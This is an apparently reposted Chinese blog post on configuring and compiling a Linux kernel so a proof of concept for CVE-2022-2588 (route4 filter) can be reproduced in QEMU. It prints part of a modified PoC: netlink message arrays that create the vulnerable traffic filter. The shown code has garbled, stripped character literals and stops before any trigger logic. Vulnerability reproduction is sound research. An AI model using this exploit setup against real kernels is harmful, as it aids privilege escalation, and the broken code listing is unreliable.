[kernel] 编译能复现指定poc的内核的排错过程

2022/10/27 1:24:53

本文主要是介绍[kernel] 编译能复现指定poc的内核的排错过程,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

背景

在复现CVE-2022-2588漏洞的时候,编译可以运行poc成功触发漏洞所在函数的内核的过程。踩了一些坑,记录一下思路。

目标

前置知识

内核与内核模块

内核是内核(bzImage)+内核模块(.ko)组成的,很多内核的功能都不是直接在内核之中,而是在内核模块之中,系统启动之后加载对应的内核模块。这个过程涉及到linux系统启动之后的动作,而我们自己编译的简易版内核和基于qemu 的简易漏洞复现环境(qemu + 单个kernel + 基于busybox做的简易文件系统)是没有那么完整的启动过程的。所以我们一般要把需要的内核模块直接编译到内核之中。

内核的编译选项

内核编译的过程中会根据.config文件中的编译选项决定编译动作,不同内核模块的编译是由编译选项决定的,如果编译选项是m,则代表该功能会被编译成内核模块(.ko),而如果该编译选项是y则代表该功能被编译进内核(bzImage)之中。

CONFIG_NET_CLS_ROUTE4=m
或
CONFIG_NET_CLS_ROUTE4=y

所以我们需要的便是将漏洞所在模块设置成y,让其直接编译到内核bzImage中。在设置内核编译选项的时候最好不要直接编辑.config文件,因为好多内核模块之间有依赖关系,如果只是把目标模块的m改成y,而没改它依赖的模块的话,最后编译容易造成依赖链混乱,最好是通过make menuconfig 的形式来配置编译选项,menuconfig可以显示某个编译选项所依赖的其他选项。

可以看出编译选项CONFIG_NFT_CONNLIMIT的depends on中有些依赖还是m状态,那么该选项(CONFIG_NFT_CONNLIMIT)就无法被设置成y,只有当满足的依赖都是y的情况下,才能设置成y:

  • 还有一些编译选项是自动设置的,根据其依赖的选项,依赖项都是m那么就自动设置成m,依赖项设置成y则自动设置成y 有一些依赖是互斥的,有了这个就不能有另一个,需要厘清逻辑关系。

过程

这里不对漏洞做过多分析,主要阐述编译过程

基本信息

使用的poc如下:

https://github.com/sang-chu/CVE-2022-2588

原本poc代码(经过我略微修改,本次调试使用):

#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
void hexdump(const void *data, size_t size)
{
          
   
    char ascii[17];
    size_t i, j;
    ascii[16] = ;
    for (i = 0; i < size; ++i)
    {
          
   
        dprintf(2, "%02X ", ((unsigned char *)data)[i]);
        if (((unsigned char *)data)[i] >=   && ((unsigned char *)data)[i] <= ~)
        {
          
   
            ascii[i % 16] = ((unsigned char *)data)[i];
        } else
        {
          
   
            ascii[i % 16] = .;
        }
        if ((i + 1) % 8 == 0 || i + 1 == size)
        {
          
   
            dprintf(2, " ");
            if ((i + 1) % 16 == 0)
            {
          
   
                dprintf(2, "|  %s 
", ascii);
            }
            else if (i + 1 == size)
            {
          
   
                ascii[(i + 1) % 16] = ;
                if ((i + 1) % 16 <= 8)
                {
          
   
                    dprintf(2, " ");
                }
                for (j = (i + 1) % 16; j < 16; ++j)
                {
          
   
                    dprintf(2, "   ");
                }
                dprintf(2, "|  %s 
", ascii);
            }
        }
    }
}


static char newlink[] = {
          
   
        /* len */
        56, 0x00, 0x00, 0x00,
        /* type = NEWLINK */
        16, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        0x01, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_family */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* ifi_flags */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_change */
        0x00, 0x00, 0x00, 0x00,
        /* nla_len, nla_type */
        0x08, 0x00, 0x03, 0x00,
        /* string */
        e, t, 2, 0,
        /* nla_len, nla_type */
        16, 0x00, 18, 0x00,
        /* nested nla_len, nla_type */
        10, 0x00, 0x01, 0x00,
        d, u, m, m,
        y, 0x00, 0x00, 0x00,
};

static char dellink[] = {
          
   
        /* len */
        40, 0x00, 0x00, 0x00,
        /* type = DELLINK */
        17, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        0x01, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_family */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_ifindex */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_flags */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_change */
        0x00, 0x00, 0x00, 0x00,
        /* nla_len, nla_type */
        0x08, 0x00, 0x03, 0x00,
        /* string */
        e, t, 2, 0,
};

static char tfilter[] = {
          
   
        /* len */
        68, 0x00, 0x00, 0x00,
        /* type = NEWTFILTER */
        44, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        0x41, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_family */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* tcm_handle */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_parent */
        0x00, 0x00, 0x01, 0x00,
        /* tcm_info = protocol/prio */
        0x01, 0x00, 0x01, 0x00,
        /* nla_len, nla_type */
        0x0a, 0x00, 0x01, 0x00,
        /* string */
        r, o, u, t,
        e, 0, 0, 0,
        /* OPTIONS */
        0x14, 0x00, 0x02, 0x00,
        /* ROUTE4_TO */
        0x08, 0x00, 0x02, 0x00,
        0x00, 0x00, 0x00, 0x00,
        /* ROUTE4_FROM */
        0x08, 0x00, 0x03, 0x00,
        0x00, 0x00, 0x00, 0x00,
};

static char ntfilter[] = {
          
   
        /* len */
        56, 0x00, 0x00, 0x00,
        /* type = NEWTFILTER */
        44, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        /* 0x200 = NLM_F_EXCL */
        0x41, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_family */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* tcm_handle */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_parent */
        0x00, 0x00, 0x01, 0x00,
        /* tcm_info = protocol/prio */
        0x01, 0x00, 0x01, 0x00,
        /* OPTIONS */
        0x14, 0x00, 0x02, 0x00,
        /* ROUTE4_TO */
        0x08, 0x00, 0x02, 0x00,
        0x01, 0x00, 0x00, 0x00,
        /* ROUTE4_FROM */
        0x08, 0x00, 0x03, 0x00,
        0x00, 0x00, 0x00, 0x00,
};


这篇关于[kernel] 编译能复现指定poc的内核的排错过程的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程